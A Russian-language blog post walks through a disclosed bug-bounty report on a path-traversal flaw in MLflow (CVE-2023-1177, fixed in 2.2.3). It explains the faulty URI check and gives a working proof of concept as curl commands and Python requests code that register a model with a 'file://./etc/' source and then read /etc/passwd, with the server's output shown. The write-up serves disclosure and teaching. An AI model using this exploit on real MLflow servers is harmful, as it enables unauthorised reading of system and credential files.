Веб-уязвимость, но в ML-решении.
Привет. Возможно, ты уже видел на канале некоторые посты об уязвимостях, которые встречаются в HuggingFace. Я также писал пост со ссылками на репозитории в гите, где лежали эксплоиты под MLOps решения.
Сегодня мы рассмотрим исследование с багбаунти площадки huntr.com. Huntr позволяет делать багбаунти для разработчиков решений используемых в MLOps и среди таких решений мы можем найти популярные продукты в индустрии: TensorFlow, MlFlow, langchain, ML фреймворках (на платформе их на данный момент 27), Data Science решениях, а также некоторых библиотек, которые используются при разработке моделей машинного обучения.
Честно скажу, когда в голове вынашивал идею для поста и выбирал отчёт, который заслуживает внимания – я был очень субъективен. Поэтому, я уверен это будет не единственный похожий пост. На данной багбаунти площадке есть уже огромное количество репортов – которые также будут постепенно освещаться.
Path Traversal in MlFlow исправлено в 2.2.3 (CVE-2023-1177)
В handlers.py есть такая функция def is_local_uri(uri). Её задача - определять, является ли URI локальным путем к файлу на текущей машине. Возвращает True, если да, и False, если нет. Проблема в том, что эта функция может принимать значения подобные этому - «file://./etc/». Это позволяет обойти проверку и реализовать Path_Traversal на машине, на которой был запущен MlFlow. Однако важно знать следующее - сама функция вызывается при создании модели.
Как можно понять, чтобы была возможность проэксплуатировать эту уязвимость – нам необходимо создать модель.
Для этого в коде есть функция: def _create_model_version. После создания модели идёт проверка вводимых данных (это данные которые передаются в source - это как раз-таки наш URI), в функции def _validate_source(есть ли они там вообще ? - вот на этот вопрос даёт ответ эта функция).
def is_local_uri(uri)->def _validate_source -> def _create_model_version-> модель создана.
Исследователь предложил следующий вариант PoC с использованием curl. В самом начале – мы создаём модель. Он предложил назвать модель “AJAX-API”, но сами понимаете - тут может быть что угодно:у
curl -i -s -k -X quot;POST" -H quot;Host: 127.0.0.1:5000" -H quot;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" -H quot;Accept: /" -H quot;Accept-Language: en-US,en;q=0.5" -H quot;Accept-Encoding: gzip, deflate" -H quot;Referer: http://127.0.0.1:5000/" -H quot;Content-Type: application/json; charset=utf-8" -H quot;Origin: http://127.0.0.1:5000" -H quot;Connection: close" -H quot;Sec-Fetch-Dest: empty" -H quot;Sec-Fetch-Mode: cors" -H quot;Sec-Fetch-Site: same-origin" --data-binary quot;{"name":"AJAX-API"}" quot;http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create"
url = 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'
data = {"name": "AJAX-API"}
headers = {
'Host': '127.0.0.1:5000',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://127.0.0.1:5000/',
'Content-Type': 'application/json; charset=utf-8',
'Origin': 'http://127.0.0.1:5000',
'Connection': 'close',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'
}
requests.packages.urllib3.disable_warnings()
response = requests.post(url, headers=headers, json=data, verify=False)
print(response.headers)
print(response.content)
Что тут происходит?
В данном PoC идёт отправка запроса на сервер MlFlow, который будет имитировать настоящий(соответственно поэтому там и множество заголовков). Нам следует обратить внимание на --data-binary #x27;{"name":"AJAX-API"} – в которой присваивается имя модели.
И конечный API-endpoint - /mlflow/registered-models/create.
Дальше, отправляем запрос, который позволит инициализировать версию модели.
curl -i -s -k -X quot;POST" -H quot;Host: 127.0.0.1:5000" -H quot;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" -H quot;Accept: /" -H quot;Accept-Language: en-US,en;q=0.5" -H quot;Accept-Encoding: gzip, deflate" -H quot;Referer: http://127.0.0.1:5000/" -H quot;Content-Type: application/json; charset=utf-8" -H quot;Origin: http://127.0.0.1:5000" -H quot;Connection: close" -H quot;Sec-Fetch-Dest: empty" -H quot;Sec-Fetch-Mode: cors" -H quot;Sec-Fetch-Site: same-origin" --data-binary quot;{"name":"AJAX-API","source":"file://./etc/"}" quot;http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create
url = 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'
data = {"name": "AJAX-API", "source": "file://./etc/"}
headers = {
'Host': '127.0.0.1:5000',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://127.0.0.1:5000/',
'Content-Type': 'application/json; charset=utf-8',
'Origin': 'http://127.0.0.1:5000',
'Connection': 'close',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'
}
requests.packages.urllib3.disable_warnings()
response = requests.post(url, headers=headers, json=data, verify=False)
print(response.headers)
print(response.text)
print(response.history)
Но что мы видим, помимо названия модели, в этом запросе мы передаём через source нашу строку для Path Traversal. Отправляем запрос и дальше получаем ответ. Source – это как раз таки данные, которые берутся из функции def is_local_uri(uri) -> def _validate_source. А как мы с вами помним – строка позволяет обойти проверку вводимых данных.
После того, как мы отправили запрос с строкой, которая позволяет нам обойти ограничение. Мы получили ответ, смотрим внимательно на JSON составляющую:
{
"model_version": {
"name": "AJAX-API",
"version": "1",
"creation_timestamp": 1679914680236,
"last_updated_timestamp": 1679914680236,
"current_stage": "None",
"description": "",
"source": "file://./etc/",
"run_id": "",
"status": "READY",
"run_link": ""
}
}
В котором мы видим название модели, версию и источник. Дальше дело за малым. Нам остаётся прочитать что находится в источнике.
Нам необходимо перейти по этому URL:
http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name={{name}}&version={{version number}}
и поменять параметры &name, &version на те, которые мы получили в JSON – AJAX-API и 1 – соответственно.
После чего мы можем наблюдать полученный ответ:
root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin